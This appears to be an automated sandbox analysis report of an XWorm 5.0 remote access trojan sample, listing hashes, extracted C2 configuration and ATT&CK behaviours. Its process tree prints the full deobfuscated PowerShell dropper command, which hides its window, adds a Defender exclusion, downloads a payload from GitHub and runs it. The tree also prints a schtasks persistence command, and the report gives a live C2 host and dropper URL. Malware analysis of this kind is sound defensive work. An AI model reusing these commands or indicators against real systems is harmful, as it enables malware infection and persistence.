xworm | 540e9193d26cbac6c212f3d0d1137b30ce96b93f0d391788f582ae23e682d4bb

Analysis

max time kernel
142s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
12/10/2024, 19:06

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General

Target

Bootstrapper.exe
Size

90KB
MD5

c25564459238aa1be41f5d9465fe51df
SHA1

4751c39b3e98aaaf0c7f3a92172876f1663d5df8
SHA256

540e9193d26cbac6c212f3d0d1137b30ce96b93f0d391788f582ae23e682d4bb
SHA512

aa97552650f856e53d14622b90dc72087b151b4a81df81785a6d20d7a056992cd1bbdd480da8cde77035b47d739c3289f07433f9a971166f9909a32bb48daabc
SSDEEP

1536:j7fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfWwJOJ:/7DhdC6kzWypvaQ0FxyNTBfWh

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/cfedss/e/raw/refs/heads/main/PowerShell.exe

Extracted

Family

xworm

Version

5.0

week-dictionary.gl.at.ply.gg:12466

Mutex

WIHzy7HOqD8TiFlq

Attributes

Install_directory
%AppData%
install_file
PowerShell.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000b000000023cb9-33.dat	family_xworm
behavioral2/memory/2676-42-0x0000000000750000-0x000000000075E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	3676	powershell.exe
15	3676	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3676	powershell.exe
3676	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	Discord.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerShell.lnk	Discord.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerShell.lnk	Discord.exe

Executes dropped EXE 3 IoCs

pid	Process
2676	Discord.exe
1216	PowerShell.exe
876	PowerShell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
12	raw.githubusercontent.com
15	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootstrapper.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1816	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3676	powershell.exe
3676	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeDebugPrivilege	2676	Discord.exe
Token: SeDebugPrivilege	1216	PowerShell.exe
Token: SeDebugPrivilege	876	PowerShell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4728 wrote to memory of 3648	4728	Bootstrapper.exe	84
PID 4728 wrote to memory of 3648	4728	Bootstrapper.exe	84
PID 3648 wrote to memory of 1380	3648	cmd.exe	86
PID 3648 wrote to memory of 1380	3648	cmd.exe	86
PID 1380 wrote to memory of 1472	1380	net.exe	87
PID 1380 wrote to memory of 1472	1380	net.exe	87
PID 3648 wrote to memory of 3676	3648	cmd.exe	88
PID 3648 wrote to memory of 3676	3648	cmd.exe	88
PID 3676 wrote to memory of 4660	3676	powershell.exe	90
PID 3676 wrote to memory of 4660	3676	powershell.exe	90
PID 4660 wrote to memory of 728	4660	csc.exe	92
PID 4660 wrote to memory of 728	4660	csc.exe	92
PID 3676 wrote to memory of 2676	3676	powershell.exe	93
PID 3676 wrote to memory of 2676	3676	powershell.exe	93
PID 2676 wrote to memory of 1816	2676	Discord.exe	94
PID 2676 wrote to memory of 1816	2676	Discord.exe	94

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
"C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4728
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\B92E.tmp\B92F.tmp\B930.bat C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3648
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1380
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -Name Window -Namespace Console -MemberDefinition '[DllImport(\"Kernel32.dll\")] public static extern IntPtr GetConsoleWindow(); [DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow);';" "$consolePtr = [Console.Window]::GetConsoleWindow();" "[Console.Window]::ShowWindow($consolePtr, 0);" "Add-MpPreference -ExclusionPath $env:USERPROFILE;" "Remove-Item -LiteralPath $MyInvocation.MyCommand.Path -Force;" "$url = 'https://github.com/cfedss/e/raw/refs/heads/main/PowerShell.exe';" "$outputFile = [System.IO.Path]::Combine($env:Temp, 'Discord.exe');" "Start-Sleep -Milliseconds 100;" "Invoke-WebRequest -Uri $url -OutFile $outputFile;" "Start-Process -FilePath $outputFile"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3676
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ceu1gz3v\ceu1gz3v.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4660
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBE10.tmp" "c:\Users\Admin\AppData\Local\Temp\ceu1gz3v\CSCC651F293A49D4066BA7AF197A3769672.TMP"
        5⤵
        
        PID:728
  - - C:\Users\Admin\AppData\Local\Temp\Discord.exe
      "C:\Users\Admin\AppData\Local\Temp\Discord.exe"
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2676
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "PowerShell" /tr "C:\Users\Admin\AppData\Roaming\PowerShell.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1816

C:\Users\Admin\AppData\Roaming\PowerShell.exe
C:\Users\Admin\AppData\Roaming\PowerShell.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1216

C:\Users\Admin\AppData\Roaming\PowerShell.exe
C:\Users\Admin\AppData\Roaming\PowerShell.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\PowerShell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Temp\B92E.tmp\B92F.tmp\B930.bat

Filesize
1KB

MD5
27bec467d9d4ef4088762686a26ca1b5

SHA1
82e570d313bb36fa7d41c11c2305812235135f1e

SHA256
f23cd13bf7fcafcc6a24776dc2c493ceb025d96287e35f409a40d29db8783de3

SHA512
fd9153ab272412a2ac9cab520fea3400dbc7828458719bd9c101af142cd06605ac3c8120fe63ff2941777ae09803c54e7b537b0c6a7f814aa9da9a11d632f0e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\Discord.exe

Filesize
34KB

MD5
df4465e6693e489c6db32a427bbd93ec

SHA1
ea8ef0ae2b517e10f934b66ebefa71e2d9007aa5

SHA256
0c5031bae18c7e5b294b89b4b82e30c3862d1e5e4aa5fd664d7a04451dc83847

SHA512
4d569c1c29adadf32ff28ba53378493189c99e6e1734e1c896e52e6df89358cbfc6525a96ae1d5cbd99a909ffb7d8e88b075674f679a448a54fef961cdc16f5d

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESBE10.tmp

Filesize
1KB

MD5
f5a9518176ac8a86c05019fcf60d5d53

SHA1
38a4693af9a3f1bd10c7baf2ad07af6e7ccbf3f3

SHA256
3581724ec09ad21759b311bfdaed7f1410e42dc1c4566dafa53de990d3a45e56

SHA512
c1fa956938030b44c7a594358de9db0cb79c027e8d39361b2c75c905916ab312515841310315fdfa96eeddf19d09d606414f03ab22703061ba71c4acf1cadd05

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_epyh3zhu.4oa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ceu1gz3v\ceu1gz3v.dll

Filesize
3KB

MD5
310e8d9f4a3c7052b81c551bc680793d

SHA1
a9efb8913f125a0e495fa8e57b4dae156442bdb2

SHA256
f4fd9f82c068708a2d0d2ff50d18f3e66428a86685f6d4d81a7f655c7a4c6045

SHA512
5416e95c917fa09af188e4d319316d6155be6967007412db7744d6519ed3188392e06357417afdd41ef117d4f53175dac82710c6ec75a27cf61bece35516b597

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ceu1gz3v\CSCC651F293A49D4066BA7AF197A3769672.TMP

Filesize
652B

MD5
3de3d73949f7ad947aec6b91b3df0d5f

SHA1
53f8fb3f5c328d652f04880b848bfc4f134a8374

SHA256
7d1466cf233923fa9139d64f47eac52849eb0bf4cbc6b4313110d6e9ebbd0103

SHA512
0e2ea46e68ca97873d7853b17d4a933d7d143f1eea7db6a8a55e4f1a4856a97fcc595f1535f801231ed944bec585a0f3301f639f682cc6a78d3b99318b2250ff

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ceu1gz3v\ceu1gz3v.0.cs

Filesize
289B

MD5
c617d0acde7fbd9a849fd6cde234d1f2

SHA1
94d3c83ad8cdd8abc267da0da4a24b9a43edda45

SHA256
e7fe5306977c98a8edaeeee034073c892dcaa742f20717f5398daf536057be35

SHA512
d1f74f623a7103137bd8c71c5d15a69afd1b88338f95c2e1cc80f874c2db47c593619fd9964e08e76386d3207f0a688fbea4eeb96e71f8d7d469d6f4d47aeb4e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ceu1gz3v\ceu1gz3v.cmdline

Filesize
369B

MD5
760ab55ab558e4bc47492562c6ed3d45

SHA1
818cff27735c38c729b549c260ac2b667ef3f5f0

SHA256
be58c2d0563d676e7276166e0d446b35f93c915f705b154852067a2b1d93b193

SHA512
0bc1e044d2efde83b1841903c4457d0b6b9b9b4aa8755675b5fc55ab301a1b2594ad899a9efff3730980ddd9f06843ef91864892660a2bbab599acfbe77ba3c2

Download Submit
memory/2676-42-0x0000000000750000-0x000000000075E000-memory.dmp

Filesize
56KB

Download
memory/3676-14-0x00007FFC2DB40000-0x00007FFC2E601000-memory.dmp

Filesize
10.8MB

Download
memory/3676-27-0x0000023BDF130000-0x0000023BDF138000-memory.dmp

Filesize
32KB

Download
memory/3676-13-0x00007FFC2DB40000-0x00007FFC2E601000-memory.dmp

Filesize
10.8MB

Download
memory/3676-3-0x0000023BDF100000-0x0000023BDF122000-memory.dmp

Filesize
136KB

Download
memory/3676-43-0x00007FFC2DB40000-0x00007FFC2E601000-memory.dmp

Filesize
10.8MB

Download
memory/3676-2-0x00007FFC2DB43000-0x00007FFC2DB45000-memory.dmp

Filesize
8KB

Download